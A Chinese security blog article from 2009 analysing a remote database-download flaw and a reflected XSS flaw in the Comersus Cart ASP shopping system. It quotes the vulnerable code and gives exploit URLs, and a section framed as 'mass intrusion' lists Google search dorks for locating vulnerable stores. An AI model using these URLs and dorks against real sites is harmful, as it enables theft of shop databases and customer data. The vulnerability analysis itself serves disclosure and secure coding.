频道栏目
首页 > 安全 > 网站安全 > 正文

Comersus Cart 购物系统漏洞分析

2009-05-13 00:15:01      个评论      
收藏   我要投稿

作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
 
前言
 
Comersus Cart是一套ASP开源的电子商务购物系统,是由一家大型的跨国公司开发的购物系统,很受人们欢迎,其中包括信用卡,航运,股票,加密,拍卖,评论,订单跟踪,多层次,类别,销售数字。由于Comersus Cart不正确处理和过滤用户提交的请求,导致了XSS漏洞的发生,另外还有一数据库下载漏洞,具体分析参见下文。
 
漏洞分析
1.远程数据库下载:
 
\

\





exploit:
http://[website]/[script]/database/commersus.mdb
2.XSS漏洞:
跨站漏洞存在comersus_message.asp文件中
漏洞代码如下:
<!--#include virtual="/comersus7F/includes/settings.asp"-->
<!--#include virtual="/comersus7F/includes/getSettingKey.asp"-->
<!--#include virtual="/comersus7F/includes/sessionFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/databaseFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/screenMessages.asp"-->
<!--#include virtual="/comersus7F/includes/stringFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/currencyFormat.asp"-->
<!--#include virtual="/comersus7F/includes/itemFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/cartFunctions.asp"-->
<!--#include virtual="/comersus7F/includes/adSenseFunctions.asp"-->
代码省略……
pMessage  = getScreenMessage(request.querystring("message"),3000)
%>                             获取message变量值,并赋予变量pMessage,getScreenMessage函数在stirngFunctions.asp文件中有定义,具体定义参见后面的内容
 
<!--#include file="header.asp"-->
<br><b><%=getMsg(581,"attention")%></b><br><br>
<%=pMessage%>&nbsp;<%=session("message")%><br><br>     由于未对变量message进行有效地过滤,而直接将pMessage输出,造成跨站脚本漏洞
<%session("message")=""%>
<!--#include file="footer.asp"-->
<%call closeDb()%>
 
#stirngFunctions.asp文件中对getScreenMessage函数的定义如下:
 
function getScreenMessage(input,stringLength)
 
  to filter screenMessage
 
 dim regEx
 Set regEx = New RegExp
 
 getScreenMessage = left(trim(input),stringLength)
 
 regEx.Pattern   = "([^-_A-Za-z0-9@., ])"            正则表达式
 regEx.IgnoreCase  = True
 regEx.Global   = True
 getScreenMessage  = regEx.Replace(getScreenMessage, "")   运用正则表达式对intput值进行简单过滤,但仍可造成XSS
 Set regEx   = nothing
    
end function
 
exploit:
http://[website]/[script]/store/comersus_message.asp?message=<script>alert(riusksk)</script>
测试结果:

 \
批量入侵:
google dork: inurl:.asp? Powered by Comersus ASP Shopping Cart
                   inurl:comersus_message.asp?
                   inurl:commersus.mdb
搜索结果如图:

 \
总结
通过分析可以看见漏洞产生主要是由于未对用户所提交的数据变量进行严格的处理或过滤而导致的,其实在web安全漏洞的造成大多是因此,可见对用户提交的的数据进行过滤是相当重要的,现在也开发出了很多这方面的漏洞扫描工具,代码审计工具,脚本调试工具等等的工具来及时发现并修补脚本漏洞

相关TAG标签 漏洞分析 系统
上一篇:跨站脚本攻击深入解析:跨站危害及cookie盗窃
下一篇:飞天论坛asp版通杀 0day利用程序(官方漏洞未补)
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站